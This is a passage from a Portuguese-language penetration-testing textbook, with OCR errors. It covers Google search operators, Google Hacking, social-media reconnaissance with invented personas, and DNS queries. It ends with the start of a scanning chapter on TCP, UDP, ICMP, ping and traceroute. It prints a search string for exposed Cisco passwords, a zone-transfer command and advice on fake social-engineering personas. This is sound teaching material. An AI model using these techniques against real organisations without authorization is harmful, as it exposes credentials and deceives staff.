entanto, se esses itens estiverem no texto da pagina, eles serao retornados na pesquisa. Por exemplo, se
uma imagem for referenciada no texto da pagina, essa imagem sera retornada nos resultados da
pesquisa; 0 mesmo vale também para marcagdes de imagens e links no texto. O uso do operador intext:
na caixa de pesquisa do Google equivale a selecionar essa op¢ao na lista suspensa.



O uso de in URL of the page (no URL da pagina) restringira a pesquisa aos URLs (Uniform Resource
Locator, ou Localizador Padrdo de Recursos) das paginas. O URL corresponde ao endereco da pagina
web que aparece na barra de endereco do navegador web. Por fim, usar in links to the page (em links para
a pagina) fard com que as paginas com links para o critério de pesquisa sejam encontradas. Essa
pesquisa pode ser realizada por meio da caixa de pesquisa principal do Google ao usar o operador

inurl:.

SafeSearch

Ha duas op¢oes no SafeSearch: show most relevant results (mostrar resultados mais relevantes) e filter explicit
(filtrar resultados explicitos). A opc¢do para filtrar resultados explicitos pode reduzir a quantidade de
videos e de imagens de sexo explicito dos resultados da pesquisa. Selecionar a opgao para mostrar os
resultados mais relevantes ndo fara a filtragem dos resultados para eliminar contetidos associados a sexo
explicito.

Reading level (nivel de leitura)

A opgiao de nivel de leitura filtra os resultados de acordo com a complexidade do texto das paginas web
retornadas pela pesquisa. A opg¢dao no reading level displayed (nenhum nivel de leitura exibido) fara a
pesquisa ser executada sem a aplicacio de nenhum filtro de nivel de leitura. A op¢ao annotate results with
reading level (anotar resultados com nivel de leitura) fara todos os resultados serem mostrados; no
entanto o nivel de leitura para cada pagina sera apresentado nos resultados da pesquisa. O algoritmo do
Google nao ¢ tdo cientifico nem tao preciso quanto o de outras ferramentas de nivel de leitura, que
podem incluir o nivel Lexile, mas é bem eficiente para filtrar os resultados nestas trés categorias: basico,
intermediario e avangado. Isso pode ser util na realizagio de um teste de invasdo ao focar os resultados
de acordo com o nivel de leitura para o alvo. Por exemplo, as pesquisas sobre uma empresa cientifica
poderiam ser limitadas as paginas que tivessem um nivel de leitura avangado. Experimentar todos os
trés niveis pode ser interessante para ver resultados de pesquisa diferentes, e informacdes importantes
podem ser obtidas a partir de pesquisas que usem o nivel de leitura basico.

File type (tipo de arquivo)

O tipo de arquivo pode ser uma das opgdes de pesquisa mais importantes a ser usada por um pentester.
Esse parametro limita os resultados da pesquisa para um tipo especifico de arquivo, por exemplo, .doc e
.docx para documentos Microsoft Word ou .pdf para documentos Adobe. Com frequéncia, os usuarios
usam tipos de arquivo diferentes para tipos de informacoes diferentes. Por exemplo, nomes de usuarios,
senhas e outros tipos de informacdes sobre contas frequentemente sio armazenados em planilhas com
extensdes .x1s ou .x1sx. A lista suspensa disponibiliza varios tipos de arquivos mais comuns, e qualquer
extensdo pode ser usada na caixa de pesquisa basica do Google ao usar o operador filetype:, por
exemplo, filetype:xls.

Usage rights (direitos de uso)

Os direitos de uso limitam os resultados da pesquisa de acordo com a capacidade de reutilizacdo do
conteudo segundo o copyright e outras restricdes para reutilizagdo. Ao selecionar Free to use, share, or



modify (Sem restricoes de uso, compartilhamento ou modificagdo), os resultados retornados
corresponderdo a contetidos que podem ser reutilizados, com restrices que determinam o modo como
isso pode ser feito, por exemplo, o conteiido ndo podera ser modificado, na maioria das vezes, a menos
que haja o pagamento de uma taxa. O uso dessa opcdo fara a pesquisa retornar as paginas que podem
ser modificadas de acordo com as restricbes especificadas na licenca; os resultados permitirdo a
redistribuicdo normal do conteido sem o pagamento de uma taxa. As op¢des com o termo commercial
(comercialmente) funcionam como as opg¢des sem esse termo, porém retornam resultados que podem
ser usados comercialmente.

Compondo uma pesquisa avangcada do Google

O uso de campos individuais na pagina de pesquisa avangada do Google retorna alguns resultados de
pesquisa impressionantes, porém utilizar varios desses campos em conjunto ird melhorar a maneira pela
qual um pentester pode encontrar informacoes relevantes. Por exemplo, suponha que a Foo
International (uma empresa americana) tenha realizado uma fusdo com outra empresa ha um més e
que tenha solicitado um pentester de sua equipe. Em periodos de transicio como esse, varios
documentos sdo criados para ajudar os funcionarios de cada empresa nesse processo; é possivel que um
funcionario tenha publicado organogramas no site da empresa. Uma pesquisa hipotética poderia usar os
campos e 0s termos a seguir:

« this exact word or phrase (esta expressdo ou frase exata): organizational chart (organograma da empresa)
« language (idioma): English (Inglés)

« region (regido): United States (Estados Unidos)

o last updated (dltima atualizacdo): past month (no dltimo més)

« site ordomain (site ou dominio): foo.com

« file type (tipo de arquivo): pdf

Os resultados poderao ser posteriormente refinados pela adicao ou remogio de campos da pesquisa ou
pela alteracdo de opgoes. Por exemplo, mudar o tipo de arquivo para PowerPoint (.ppt) ou remover
totalmente o tipo de arquivo pode fazer com que os resultados necessarios sejam retornados.

Google Hacking

O Google Hacking é uma técnica pioneira que se tornou famosa, criada por Johnny Long, a qual usa
operadores e termos especificos do Google em pesquisas na internet a fim de retornar informacoes
valiosas por meio do uso da ferramenta de pesquisa Google. Essa técnica esta focada no uso de
expressoes especificamente voltadas para fazer consultas nos bancos de dados do Google de modo a
colher informacoes sobre pessoas e empresas. Ela usa as pesquisas Google descritas anteriormente e
potencializa seus resultados.

O Google Hacking faz uso intensivo dos operadores avancados e das opgdes associadas para criar
consultas especificas que podem ser executadas na ferramenta de pesquisa Google. Com frequéncia, as
pesquisas tém como objetivo reunir informagdes sobre tecnologias especificas, como servicos de
gerenciamento web, enquanto outras pesquisas visam as credenciais de usudrios. Varios livros muito



bons ja foram publicados, com explicagdes completas sobre o Google Hacking; o mais famoso deles é o
livro Google Hacking for Penetration Testers, cujo autor ¢ Johnny Long, e que foi publicado pela
Syngress.

O Google Hacking Database

Uma grande quantidade de strings de pesquisa do Google Hacking foi compilada e estd no Google
Hacking  Database (GHDB). O banco de dados  original encontra-se  em
http://www.hackersforcharity.org/ghdb/; a Offensive Security também tem um GHDB em
http://www.offensive-security.com/community-projects/google-hacking-database/ que exparuie o banco de
dados original e criou o termo “Googledorks”, um apelido para pessoas inaptas ou tolas, conforme
revelado pelo Google [1]. Na época desta publicagio, o GHDB mantido pela Offensive Security
continha mais de 3.350 Google Hacks, divididos em 14 categorias. Mais de 160 dessas strings de
pesquisa podem ser uteis para encontrar arquivos que contém senhas. Um exemplo de uma dessas
strings de pesquisa que tenta descobrir senhas Cisco é apresentado a seguir:

enable password | secret "current configuration" -intext:the

A execu¢io dessa pesquisa retornou quase 1,5 milhao de sites, e embora alguns dos arquivos retornados
ndo apresentassem realmente nenhuma senha, um grande nimero de resultados continha listas delas.
Essa pesquisa pode ser posteriormente refinada de modo a atender as necessidades de testes de invasao
especificos por meio da adi¢io de operadores; por exemplo, o operador para site ou dominio, conforme
mostrado a seguir:

enable password | secret "current configuration" -intext:the site:foo.com

Midias sociais

As midias sociais se tornaram parte integrante da vida cotidiana de muitas pessoas. Esse fato transforma
as midias sociais em um bau de tesouros para reunir informacoes nessa fase do ciclo de vida dos testes
de invasdo. As informagdes que sao ferozmente protegidas pelas pessoas no mundo fisico sdo publicadas
livremente por essas mesmas pessoas nos sites de redes sociais como o Facebook, o Instagram, o
Twitter, o LinkedIn e outros; com isso, é possivel criar um perfil completo dos individuos que
trabalham no alvo. Isso pode ajudar em atividades ligadas a engenharia social.

O LinkedIn é particularmente util para desenvolver organogramas de uma empresa. Criado para
conectar profissionais, com frequéncia, o LinkedIn irda ajudar a preencher os espagos em branco no
perfil do alvo, incluindo a criagdio de um organograma mais bem definido da empresa e até mesmo a
obten¢ao de listas de enderecos de email, embora esse ultimo passo normalmente envolva a engenharia
social, pois os enderecos de email nao estio publicamente disponiveis no LinkedIn. Encontrar
individuos que ja trabalharam em uma empresa representa uma 6tima fonte de informagdes se os
recursos de engenharia social forem permitidos pelo ROE. Por fim, o LinkedIn comegou a publicar
oportunidades de emprego em seu site, possibilitando o uso dessas listagens para entender as
tecnologias usadas na empresa-alvo.

Criac¢ao de um doppelganger



No folclore, um doppelganger: é uma cépia fantasma de um individuo. Desenvolver uma persona antes
de iniciar o reconhecimento no mundo da midia social é uma pratica comum. Normalmente, nido é
muito eficiente conduzir uma pesquisa sobre um alvo usando o perfil de um especialista em seguranca
ou de um pentester. Se o pentester puder interagir socialmente com os individuos da empresa por meio
de redes sociais, serd muito mais eficiente se ele tiver uma persona que puder afirmar que ja trabalhou
na empresa-alvo ou que frequentou a mesma faculdade que o CEO com quem o pentester estd
tentando se conectar no LinkedIn. Obviamente, o pentester deve evitar assumir totalmente a
identidade de uma pessoa de verdade — um ato que poderia levar algumas pessoas a acreditar que
houve um roubo de identidade -, mas ndo é incomum que duas pessoas tenham nomes semelhantes.
Por exemplo, criar uma persona ficticia chamada John Smith que frequentou a Wisconsin University e
que tenha um passado totalmente inventado ndo é o mesmo que roubar a identidade do verdadeiro
John Smith que passou por essa universidade. De qualquer maneira, certifique-se de que sua persona
néo se envolva com roubo de identidade ou com fraude. Isso significa que, entre outras coisas, vocé nao
deve preencher aquela solicitacdo de cartdo de crédito que chegar com o nome de suas personas nem
deve usar essa persona para se envolver em casos juridicos.

Os limites para o uso de um doppelganger devem ser especificados previamente no contrato, e, se 0 uso
da engenharia social for permitido, o doppelganger deve ser criado de modo a ser eficiente quando essa
técnica entrar em a¢do. Ao criar uma conta nos sites de redes sociais, o pentester deve prestar atenc¢do a
politica de uso para garantir que essas politicas, as regras e, no pior caso, as leis ndo estarao sendo
infringidas em consequéncia do uso de uma persona doppelganger.

Sites de ofertas de emprego

A pesquisa em sites de ofertas de emprego como o Monster, o Career Builder e o Dice as vezes também
pode resultar em descobertas interessantes. Assim como 0s proprios sites dos alvos, esses sites podem
lancar uma luz em relagdo as tecnologias usadas no alvo. A pesquisa desses sites, de acordo com a
empresa em questdo, geralmente resultard nos cargos que devem ser preenchidos, ajudando o pentester
a entender melhor o alvo. Nos ultimos anos, muitas empresas comecaram a compreender esse ponto
fraco e atualmente estao apresentando os cargos como “confidenciais a empresa” ou estdo usando
outras expressoes para se referir a area da organiza¢do ou da empresa associada a oferta de emprego.

DNS e ataques de DNS

O DNS (Domain Name Services) prové suporte a enderecamentos na internet. Em geral, as pessoas tém
mais facilidade para se lembrar de usar nomes como Google.com, enquanto os computadores tém mais
facilidade com nimeros como 173.194.46.19 (um dos enderecos do Google). A estrutura hierdrquica
da internet também torna mais eficiente o uso dos octetos. Isso gera um problema, pois o melhor
esquema de enderecamento para as pessoas nao coincide com o melhor esquema para os
computadores. Os servidores de nome ajudam a solucionar esse problema ao servir como tradutores
entre os computadores e as pessoas.

Esses servidores de nome sdo configurados em ordem hierarquica, com os servidores TLD (Top-level
Domain) servindo os dominios principais como .com, .gov, .edu e varios outros. Na outra extremidade da



hierarquia dos servidores de nome, cada rede pode ter seu préprio servidor, que permite que servicos e
computadores locais sejam acessados pelo nome em vez de serem acessados pelo endereco IP.

Provavelmente, a maneira mais facil de entender a funcionalidade basica dos servidores de nome ¢é
compreender o modo pelo qual um computador e um navegador web interagem e trabalham com todo
o sistema de servidores de nome. Do servidor de nome local até o raiz, ou o servidor de nome que esta
acima dos TLDs, cada servidor de nome pode consultar o proximo que estiver acima dele ou fornecer
informagoes ao servidor de nome que estiver abaixo dele, como mostrado na figura 7.3. Se o usudrio do
computador digitar o endereco do Google em um navegador web, uma cadeia de eventos sera
disparada para traduzir o nome legivel pelo ser humano para um que seja mais util a um computador.
Esse processo comega com o computador do usudrio perguntando ao servidor de nome local se ele
conhece o enderego IP relacionado a www.google.com; se esse servidor de nome recebeu recentemente
essa solicitacdo e armazenou a resposta em cache ou se o Google estiver registrado junto a esse servidor
de nome, o endereco IP podera ser imediatamente retornado. Se esse servidor de nome ndo tiver a
informagao em cache ou armazenada, ele perguntara ao proximo servidor. Se o préximo servidor acima
na hierarquia tiver a informacao, ela sera retornada; do contrario, esse processo continuara até que a
solicitagao chegue ao servidor de nome TLD - nesse caso, o servidor de nome para . com.

Os servidores de nome contém diversas informagoes tuteis, muito mais do que as paginas web. Por
exemplo, o servidor de nome contém o servidor de emails do dominio, ou o Registro mMx, outros
computadores nomeados, ou Registros A, além de outras informagdes uteis.

Then narrow your results

by

language any language i}
region any region =
last update anytime =

site or domain

terms appearing anywhere in the page -
SafeSearch Show most relevant results -
reading level na reading level displayed -
file type any format -
ugage nghts nat filtered by icense -

Figura 7.3 - Filtrando as pesquisas do Google.



Consultas a um servidor de nome

Em virtude da natureza de seu design, a maior parte dos servidores de nome esta aberta ao publico. O
comando a seguir, digitado no terminal do Kali Linux, ird consultar o servidor de nome atribuido ao
computador local:

nslookup

Esse comando resulta em um sinal de maior (>) sendo apresentado no terminal, indicando que o
sistema esta a espera de uma entrada. Digite o comando a seguir para consultar o servidor de nome
local a fim de determinar o endereco IP da pagina web do Google:

> www.google.com

Varios enderecos IP serao retornados, tanto com autoridade (authoritative), que correspondem as
primeiras respostas, quanto os sem autoridade (nonauthoritative), apresentados apds a indica¢io de que
sdo desse tipo. As respostas sem autoridade representam uma 6tima fonte de informacoes, pois esse
termo somente indica que as informacgdes foram obtidas da cache do servidor.

Para sair do nslookup, utilize o comando a seguir:
> exit

O comando nslookup usa o servidor de nome definido para o computador local. Para mostrar os
servidores de nome sendo usados pelos comandos nslookup executados no momento, utilize o comando
a seguir:

nslookup

> server
O comando nslookup também pode retornar outras informacgdes. Por exemplo, para pesquisar todos os
servidores de emails, digite os comandos a seguir:

> set type=MX
> google.com

Esse comando retornara todos os servidores de email conhecidos para o dominio do Google.

Identificar os diferentes tipos de registros relacionados ao alvo pode representar uma parte importante
de um reconhecimento completo. Como afirmado anteriormente, por padrao, o comando nslookup usa
o servidor de nome definido localmente. No Kali Linux, o servidor de nome é definido no arquivo
resolv.conf, que estd localizado no diretdrio /etc. Utilize o comando a seguir para identificar o servidor
de nome definido localmente:

cat /etc/resolv.conf

O servidor de nome usado pelo nslookup pode ser alterado para o servidor de nome dos dominios dos
alvos. Em primeiro lugar, identifique o servidor de nome dos alvos usando o comando a seguir:

r

nslookup

> set type=ns

> google.com
Depois que os servidores de nome do alvo forem identificados, o servidor de nome usado pelo nslookup
podera ser alterado para um dos servidores de nome dos alvos por meio do comando a seguir. Este



exemplo define o servidor de nome para que seja um dos servidores de nome do Google.

nslookup
> server 216.239.32.10

Ha varios registros que podem ser descobertos usando o nslookup. Varios dos tipos principais de registros
estdo definidos na tabela 7.1.

Tabela 7.1 — Tipos bdsicos de registros do DNS

Tipoderegistro | Porta default Tipodeservidor

mx 25 Mail (email)

txt n/a Mensagens de texto usadas para observagdes legiveis aos seres humanos
ns 53 Servidor de nome

chame n/a Alias para outro servidor (nome candnico)

aaaa n/a P versdo 6 (IPv6)

a n/a Registro de dominio ou de subdominio

Transferéncia de zona

Embora seja possivel obter varias informagdes ao usar programas como 0 nslookup para transferir
informacdes manualmente, é possivel obter muito mais informacdes em menos tempo por meio de uma
transferéncia de zona. Uma transferéncia de zona literalmente descarrega todas as informag¢des de um
servidor de nome. Esse processo é util para atualizar servidores de nome autorizados. Servidores de
nome configurados incorretamente permitem efetuar a transferéncia de zona ndo s para clientes
autorizados para que sejam atualizados, mas também para qualquer um que solicitar a transferéncia.

O DIG (Domain Internet Gopher) ¢ um programa que pode ser usado para tentar efetuar
transferéncias de zonas. Para isso, utilize o comando a seguir:

dig @[nome_do_servidor] [dominio] axfr

No entanto a maioria das transferéncias ira falhar se o servidor de nomes do alvo estiver configurado
incorretamente. O conjunto completo dos registros dos servidores de nome sera transferido para o
computador Kali Linux local. Ao usar esse comando, o dominio correspondera ao dominio sem
nenhum host, por exemplo, foo.com em vez de www.foo.com. O comando axfr indica ao dig que ele deve
solicitar uma transferéncia de zona. Se a transferéncia for bem-sucedida, as informagoes apresentadas
poderao ser usadas para contribuir com a criacdo dos perfis dos alvos. Isso possibilita a obtencio de
informacodes valiosas para as proximas fases do teste de invasdo.

Referéncia

[1] http://www.exploit-db.com/google-dorks/.

1 N.T.: Nome resultante da fusao das palavras alemas doppel (duplo) e gidnger (que anda).



CAPiTULO 8
Scanning

Informagoes contidas neste capitulo:

« Este capitulo apresenta as ferramentas e os conceitos basicos usados na fase de scanning.

Visao geral do capitulo e principais pontos de aprendizagem
Este capitulo inclui:
« uma explica¢do sobre a importéncia da fase de scanning do ciclo de vida dos testes de invasao
o a apresentacio dos protocolos de rede TCP, UDP e ICMP
e a apresentac¢io e uma explicacio sobre o uso basico do Nmap
e a apresentacdo e uma explica¢ao sobre o uso basico do Hping3

o a apresentacio e uma explica¢ao sobre o uso basico do Nessus

Introducdo ao scanning

Depois que os pentesters concluirem a fase de reconhecimento em uma empresa, eles prosseguirao para
a fase de scanning. Nessa fase, o pentester pode usar as informac¢des adquiridas a respeito dos
funcionarios, das empresas contratadas e dos sistemas de informac¢io para comecar a expandir o quadro
geral relacionado as estruturas fisica e 1dgica dos sistemas de informagio presentes na empresa. Como
ocorre em qualquer uma das demais fases do ciclo de vida dos testes de invasdo, o pentester pode
retornar as fases anteriores conforme necessario a fim de obter mais informagoes e complementar as
informagoes coletadas na fase de scanning.

O foco principal da fase de scanning esta em determinar informagoes especificas sobre os computadores
e outros dispositivos conectados a rede da empresa sendo visada. Durante essa fase, o foco consiste em
encontrar hosts ativos, determinar o tipo de n6 (desktop, laptop, servidor, dispositivo de rede ou
plataforma de computagio mdvel), o sistema operacional, os servicos publicos oferecidos (aplicacdes
web, SMTP, FTP etc.) e até mesmo as possiveis vulnerabilidades. As vulnerabilidades nessa etapa
geralmente sdo chamadas de “low hanging fruit” (fruto ao alcance das méos). O scanning é realizado
com o uso de varias ferramentas diferentes; no entanto este capitulo ira se concentrar em algumas das
ferramentas mais conhecidas e mais eficientes, que incluem o Nmap, o Hping e o Nessus. O objetivo
dessa fase consiste em obter uma lista de possiveis alvos para a préxima fase do ciclo de vida dos testes
de invasdo: a exploragdo de falhas.

Entendendo o trafego de rede

Para algumas pessoas, o trafego de rede pode ser dificil de entender; entretanto uma compreensao



basica do assunto é necessaria para tirar o maximo de proveito da fase de scanning. O trafego de rede
consiste na comunicagio eletronica que ocorre entre sistemas de computadores conectados por meio de
varios métodos diferentes. Atualmente, os métodos mais comuns para interconexao em rede sido o
Wired Ethernet e o Wireless Ethernet. E necessirio entender os principios fundamentais da
comunica¢ido Ethernet. Este capitulo apresenta as portas e os firewalls, os protocolos IP, incluindo o
TCP (Transmission Control Protocol), o UDP (User Datagram Protocol) e o ICMP (Internet Control
Management Protocol).

Entendendo as portas e os firewalls

Um dos métodos mais basicos para defender uma rede consiste em implementar um firewall entre a
rede interna, que normalmente é a rede corporativa, e o restante do mundo, que provavelmente é a
internet. Um firewall é simplesmente um dispositivo computacional com duas ou mais placas de rede
que serve como uma porta de entrada para a rede. As listas de controle de acesso monitoram
rigidamente o trafego de saida (egress) e o trafego de entrada (ingress). Somente o trafego que atender
aos critérios associados aos controles de acesso terdo permissdo para passar, enquanto o restante sera
descartado pelo firewall. Isso é feito por meio da abertura e do fechamento de portas para permitir ou
para impedir a passagem do trafego.

As portas correspondem aos diferentes canais usados para a comunica¢ao entre os computadores.
Existem 65.535 portas TCP e outras 65.535 portas UDP que podem ser usadas para a comunicacio.
Uma pequena porcentagem dessas portas foi projetada para ter um proposito especifico, porém elas nao
ficam restritas a esse tipo de uso. Por exemplo, a porta TCP 80 é usada com mais frequéncia para o
trafego web normal de internet que utiliza o HTTP (Hypertext Transfer Protocol, ou Protocolo de
Transferéncia de Hipertexto), mas outros tipos de trafego podem passar por essa porta e o trafego de
internet pode ser transmitido por meio de outras portas.

Uma maneira de pensar nas portas é imaginar um prédio grande com portas que conduzem a diferentes
salas. Cada uma dessas salas possui uma equipe de funcionarios que realiza um trabalho especifico e
administra diferentes fungdes. O escritorio que fica atras da porta 80 cuida das solicitagoes de paginas
web que chegarem. E possivel que o departamento de web seja transferido, por exemplo, para outro
escritério que fica na sala 8080, embora ele continue a executar as mesmas fun¢des nesse novo local, ou
seja, continue a lidar com as solicitagdes web. Um grupo diferente, que nao tem nenhuma relagdo com
solicitacoes web, poderia ser transferido para a sala 80, ou a sala poderia ser simplesmente fechada,
trancada e nao ser mais usada. Os visitantes que tentassem encontrar a equipe web deveriam saber que
ela agora estd na sala 8080, e ndo mais na sala 80. Um visitante que procurasse obter informagdes web
na sala 8080 apds a equipe web ter sido transferida ficaria desapontado e ndo conseguiria obter as
informagdes necessarias, pois ndo encontraria as pessoas corretas ou o escritorio estaria trancado,
enquanto um visitante que tivesse o enderego correto obteria a pagina web solicitada com a equipe do
escritorio novo que se encontra na sala 8080.

Entendendo os protocolos IP

Os protocolos correspondem a regras, seja na vida real ou nas redes de computadores. Os diplomatas,



os politicos e os oficiais de alto escaldo normalmente possuem membros em suas equipes que lidam com
questdes de protocolo. Essas pessoas garantem que todo visitante seja recebido adequadamente ou que
todo pronunciamento oficial seja feito corretamente, no formato adequado, usando as honrarias e os
titulos apropriados. No mundo da computacio, esses protocolos garantem que a comunica¢io entre os
sistemas ocorra de acordo com regras predefinidas. Embora haja uma quantidade extremamente grande
de protocolos disponiveis para todos os sistemas de computadores, este capitulo abordara trés dos
protocolos mais comumente usados por aplicagoes populares de scanning no Kali Linux, utilizados para
aumentar a eficiéncia do scanning e dos testes de invasio e para potencializar a descoberta de
vulnerabilidades: o TCP, o UDP e o ICMP.

TCP

Um dos principais protocolos usados para comunicagdes em rede é o TCP. O TCP é um protocolo de
comunica¢do orientado a conexdo, o que significa que os computadores em cada extremidade do canal
de comunica¢do confirmam que a sessao esta aberta e que as mensagens estao sendo recebidas em cada
lado da conexdo. No passado, muitas pessoas relacionavam essa comunica¢ao a uma ligacao telefonica:

O telefone toca:
Charlie: “Ald?”
Denis: “Oi, o Charlie estd?”

Charlie: “Aqui quem fala é o Charlie!”

Embora essa analogia seja um pouco antiquada, ela ilustra um handshake de trés vias (three-way
handshake), pois é semelhante a conexdo para iniciar uma comunica¢gdo TCP. Na comunica¢io TCP, a
comunicac¢io ¢ iniciada pelo computador que estiver tentando se conectar com outro computador,
ocorrendo a troca de trés pacotes. Isso é feito por meio do envio de um pacote — ou solicitacio -
marcado com a flag de sincronizagdo, que recebe o nome de SYN. Se o computador na extremidade
receptora da comunicacio estiver disponivel, ele respondera a quem enviou, com um pacote contendo
as flags de confirmagao e de sincronizagao ligadas; esse pacote TCP é conhecido como SYN/ACK. Por
fim, o computador que iniciou a comunica¢ao envia um pacote com a flag de confirmagao ligada (ACK)
para concluir a sincronizagio e estabelecer a conexdo. Essa comunica¢ao ocorre conforme ilustrado na

figura 8.1.
SYN
>
SYN/ACK
ACK
——————————

Figura 8.1 — Handshake de trés vias do TCP.

O handshake de trés vias corresponde ao método pelo qual todas as comunica¢ées TCP devidamente



estabelecidas tém inicio e ele garante que os computadores em ambas as extremidades do canal de
comunicagdo estejam sincronizados um com o outro. Mais adiante neste capitulo, o protocolo desse
handshake sera explorado para ajudar a identificar os computadores da rede de modo a tentar evitar
que sejam detectados.

Esse processo de confirmagao continua ao longo da sessio de comunicac¢io entre os computadores. Isso
ajuda a garantir que as mensagens enviadas por um computador sejam todas recebidas pelo outro
computador e que qualquer pacote que nao conclua a viagem seja reenviado pelo primeiro computador.
Esse processo funciona de modo semelhante as respostas de confirmag¢ao na comunicagio verbal.

Denis: “Gostaria que vocé me encontrasse no restaurante as 15 horas”.
Charlie: “A que horas vocé gostaria de me encontrar no restaurante?”
Denis: “As 15 horas”.

Charlie: “Tudo bem, entdo sera as 15 horas”.

Isso cria bastante overhead na rede, geralmente provocando o consumo de muita largura de banda e
fazendo com que as comunicagdes exijam um pouco mais de tempo. Por esse motivo, esse protocolo
normalmente é usado para sessdes de comunicacio que precisem de um nivel mais elevado de
confiabilidade e que nao sofram impacto em virtude da laténcia resultante de um pacote que chegar
fora de ordem na extremidade distante (os programas que utilizam esse protocolo reorganizam os
pacotes na ordem correta quando esses ndo chegam na sequéncia). Processos comuns que usam a
comunica¢do TCP incluem a transferéncia de arquivos (FTP), o trafego web (HTTP) e o email (SMTP,
POP e IMAP).

UDP

O UDP ¢é um protocolo que apresenta menos overhead do que as conexdes TCP. Se o processo de
comunicagdo TCP é analogo a uma chamada telefénica, em que ambas as partes garantem que a
comunicacio esta sendo recebida a medida que é enviada por ambos os lados do canal de comunicacio,
o UDP assemelha-se mais a uma transmissido de radio, em que a comunicac¢io é enviada e, por padrio,
nem quem envia e nem quem recebe verificam se um pacote da comunicagio foi recebido.

Esta¢ao de radio: “Esta é a radio XHAK; juntem-se a nds hoje no restaurante as 15 horas”.

Essa transmissao é enviada pelo ar, e se chegar ao lado receptor, 6timo. Se uma parte da mensagem nao
for recebida no destino, por padrao, o receptor ndo pedira que o pacote seja retransmitido. Ha algumas
excegOes a essa regra; infelizmente, esse ¢ um tdépico avangado, que esta fora do escopo deste capitulo.
Ao trabalhar com comunicagées que utilizem o UDP, o lado receptor ndo confirma o status do link de
comunica¢ido nem informa se houve pacotes descartados durante a transmissao.

Esse método de comunicagdo com baixo overhead é ideal para tarefas que nao exijam a validacao de
cada pacote ou para servicos que nao sofram impactos caso um pacote chegue fora de ordem. As
aplicacoes que usam comunica¢des UDP valorizam um baixo overhead e uma velocidade mais alta em
relagio a um maior grau de confiabilidade; por exemplo, as aplicacdes para streaming de video e de
musica.



ICMP

O ICMP ¢é um protocolo concebido para garantir a saide e a manuten¢io da rede. Esse protocolo é
usado para determinar se um dispositivo da rede estd funcionando como deveria e para verificar se ele
pode se comunicar adequadamente. Na maioria dos casos, os usudrios finais nunca usarao diretamente
as aplicagdes baseadas no ICMP; no entanto, como ocorre com todas as regras, sempre ha excegoes.
Nesse caso, o traceroute e o Ping sdo bons exemplos de exce¢des. Outra diferenca estd no fato de que,
de modo diferente das comunicacdes TCP e UDP, esse método de comunicac¢io nio foi concebido para
transmitir dados de usuario. Em vez disso, o ICMP transporta mensagens do sistema de e para os
dispositivos de rede, os computadores e os servicos das aplicacoes.

As mensagens ICMP possuem um tipo e um codigo especificos, ou seja, um conjunto de niimeros, em
seus cabecalhos. Esses conjuntos sdo usados para fazer perguntas ou para disponibilizar informagoes a
respeito dos varios nos da rede e podem ajudar o pentester na determinagdo dos tipos de sistema
presentes no sistema-alvo (Figura 8.2).

0 (Echo Reply) Resposta de eco

3 (Destination Unreachable)

Rede destino inacessivel

Host destino inacessivel

Protocolo destino inacessivel

Rede destino desconhecida

Host destino desconhecido

0
0
1
2
3 Porta destino inacessivel
6
7
9

Rede proibida administrativamente

10 Host proibido administrativamente

13 Comunicagdo proibida administrativamente

8 (Echo Request) 0 Solicitacdo de eco
Figura 8.2 — Tabela do ICMP.

Ping

O Ping provavelmente é o comando baseado em ICMP usado com mais frequéncia pelo usuério final
ou pelo administrador. O comando Ping envia um pacote ICMP com um tipo igual a 8 e um cddigo
igual a 0, indicando que esse pacote é uma solicitagio de eco. Os computadores que receberem esse
pacote e que estiverem configurados para responder (normalmente estdo, por padrio) responderdo com
outro pacote ICMP com tipo igual a 0 e cddigo igual a 0, indicando que é uma resposta de eco. Um
Ping e uma resposta bem-sucedidos indicam que o sistema interrogado estd em operagdo na rede, ou
seja, pode ser considerado um “host ativo”. Uma solicitacdo Ping efetuada a partir de uma plataforma
Windows, por padrio, sera enviada quatro vezes, enquanto solicitacdes Ping feitas a partir de hosts
Linux continuardo a ser enviadas até que sejam canceladas pelo usuario. Para cancelar um Ping no
Linux, tecle Control + C. Um Ping bem-sucedido e um Ping com falha apresentam o aspecto a seguir:

Host ativo

Ping 192.168.1.1
Pinging 192.168.1.1 with 32 bytes of data:
Reply from 192.168.1.1: bytes=32 time=2ms TTL=64



Reply from 192.168.1.1: bytes=32 time=1ms TTL=64
Reply from 192.168.1.1: bytes=32 time=1ms TTL=64
Reply from 192.168.1.1: bytes=32 time=1ms TTL=64

Host inacessivel

Ping 192.168.1.200

Pinging 192.168.1.200 with 32 bytes of data:

Reply from 192.168.1.129: Destination host unreachable.
Reply from 192.168.1.129: Destination host unreachable.
Reply from 192.168.1.129: Destination host unreachable.
Reply from 192.168.1.129: Destination host unreachable.
Ping statistics for 192.168.1.200:

Packets: Sent = 4, Received = 4, Lost = @ (0% loss)

Traceroute

O traceroute usa o comando Ping baseado em ICMP para descobrir quantos dispositivos diferentes
existem entre o computador que iniciou o traceroute e o alvo. Esse comando funciona por meio da
manipulacido do tempo de vida (time to live) - ou TTL - dos pacotes. O TTL corresponde a quantidade
de vezes que um pacote pode ser retransmitido pelo préoximo host encontrado na rede, ou seja, aos hops
(saltos). O comando ¢ iniciado com um valor de TTL igual a 1, indicando que o pacote pode ir no
maximo até o préximo dispositivo existente entre quem iniciou o comando e o alvo. O dispositivo
receptor enviara de volta um pacote ICMP com tipo igual a 11 e cddigo igual a 0 (tempo expirado) e o
pacote sera registrado em um log. Quem enviou o comando incrementara o TTL de 1 e enviara a
proxima série de pacotes. Os pacotes atingirdo o seu tempo de vida esperado no préximo hop na rede, o
que, por sua vez, fard o roteador que receber o pacote enviar outra resposta indicando que o tempo
expirou. Esse processo continua até que o alvo seja alcangado e todos os hops no caminho tenham sido
registrados, o que resultard na criagdio de uma lista com todos os dispositivos que estiverem entre o
computador que iniciou o comando e o alvo. Isso pode ser ttil a um pentester para determinar quais
dispositivos estdo presentes em uma rede. As plataformas Windows possuem um TTL default igual a
128; as plataformas Linux come¢am com um TTL igual a 64 e os dispositivos de rede Cisco possuem um
TTL incrivel de 255.

O comando traceroute no Windows corresponde ao tracert. Em um sistema Linux como o Kali, o
comando é o traceroute. Um tracert tipico em um computador Windows tem o aspecto a seguir:

tracert www.google.com

Tracing route to www.google.com [74.125.227.179]
over a maximum of 30 hops:

1 ms <1 ms 1 ms 192.168.1.1

7 ms 6 ms 6 ms 10.10.1.2

7 ms 8 ms 7 ms 10.10.1.45

9 ms 8 ms 8 ms 10.10.25.45

9 ms 10 ms 9 ms 10.10.85.99

11 ms 51 ms 10 ms 10.10.64.2

11 ms 10 ms 10 ms 10.10.5.88

11 ms 10 ms 11 ms 216.239.46.248
